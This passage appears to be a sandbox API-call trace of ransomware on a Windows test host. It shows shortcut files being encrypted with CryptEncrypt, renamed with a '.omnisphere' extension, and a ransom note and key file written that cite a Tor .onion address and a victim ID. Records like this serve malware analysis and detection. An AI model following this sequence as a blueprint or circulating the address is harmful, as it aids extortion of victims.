pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.139] CryptDestroyKey (hKey=0x1639b68) returned 1 [0115.139] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0115.139] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0115.139] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0115.141] GetProcessHeap () returned 0x1600000 [0115.141] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d4) returned 0x1687e78 [0115.141] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk.omnisphere")) returned 1 [0115.142] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.omnisphere.id" [0115.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0115.142] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0115.144] CloseHandle (hObject=0x3c0) returned 1 [0115.145] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0115.145] CloseHandle (hObject=0x288) returned 1 [0115.145] SetEndOfFile (hFile=0x28c) returned 1 [0115.145] FlushFileBuffers (hFile=0x28c) returned 1 [0115.151] CloseHandle (hObject=0x28c) returned 1 [0115.151] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 1 [0115.151] GetProcessHeap () returned 0x1600000 [0115.151] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1688158 [0115.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0115.151] GetProcessHeap () returned 0x1600000 [0115.151] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f008 [0115.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f008, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0115.151] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0115.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0115.151] GetProcessHeap () returned 0x1600000 [0115.151] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16873c8 [0115.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16873c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0115.152] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0115.152] GetProcessHeap () returned 0x1600000 [0115.152] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd0) returned 0x1624ca8 [0115.152] PathCombineW (in: pszDest=0x1624ca8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt" [0115.152] GetProcessHeap () returned 0x1600000 [0115.152] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1683018 [0115.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.152] WriteFile (in: hFile=0x28c, lpBuffer=0x1683018*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1683018*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0115.152] CloseHandle (hObject=0x28c) returned 1 [0115.153] GetProcessHeap () returned 0x1600000 [0115.153] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1688158 | out: hHeap=0x1600000) returned 1 [0115.153] GetProcessHeap () returned 0x1600000 [0115.153] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c938 [0115.153] PathCombineW (in: pszDest=0x162c938, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key" [0115.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.153] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0115.153] CloseHandle (hObject=0x28c) returned 1 [0115.153] GetProcessHeap () returned 0x1600000 [0115.153] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c938 | out: hHeap=0x1600000) returned 1 [0115.153] GetProcessHeap () returned 0x1600000 [0115.153] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c528 | out: hHeap=0x1600000) returned 1 [0115.154] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3bf8be86, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xac3ebde6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xac3ebde6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc9, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1 [0115.154] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0xc9, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0115.154] GetProcessHeap () returned 0x1600000 [0115.154] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c458 [0115.154] PathCombineW (in: pszDest=0x162c458, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="Window Switcher.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" [0115.154] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0115.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.154] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=334) returned 1 [0115.154] GetTickCount () returned 0x115ccc2 [0115.154] GetTickCount () returned 0x115ccc2 [0115.154] GetTickCount () returned 0x115ccc2 [0115.154] GetTickCount () returned 0x115ccc2 [0115.154] GetTickCount () returned 0x115ccc2 [0115.154] GetTickCount () returned 0x115ccc2 [0115.154] GetTickCount () returned 0x115ccc2 [0115.154] GetTickCount () returned 0x115ccc2 [0115.154] GetTickCount () returned 0x115ccc2 [0115.154] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] GetTickCount () returned 0x115ccc2 [0115.155] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668bd0) returned 1 [0115.156] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0115.156] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0115.156] CryptDestroyKey (hKey=0x16394e8) returned 1 [0115.156] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0115.156] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14e, lpName=0x0) returned 0x288 [0115.156] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14e) returned 0x1480000 [0115.157] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668708) returned 1 [0115.157] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0115.158] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.158] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.159] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.159] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.159] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.159] CryptDestroyKey (hKey=0x1639868) returned 1 [0115.159] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0115.159] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0115.159] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0115.161] GetProcessHeap () returned 0x1600000 [0115.161] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d8) returned 0x1688158 [0115.161] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk.omnisphere")) returned 1 [0115.162] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.omnisphere.id" [0115.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0115.162] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0115.164] CloseHandle (hObject=0x3c0) returned 1 [0115.165] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0115.166] CloseHandle (hObject=0x288) returned 1 [0115.166] SetEndOfFile (hFile=0x28c) returned 1 [0115.166] FlushFileBuffers (hFile=0x28c) returned 1 [0115.169] CloseHandle (hObject=0x28c) returned 1 [0115.170] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 1 [0115.170] GetProcessHeap () returned 0x1600000 [0115.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1688438 [0115.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0115.170] GetProcessHeap () returned 0x1600000 [0115.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f3a0 [0115.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 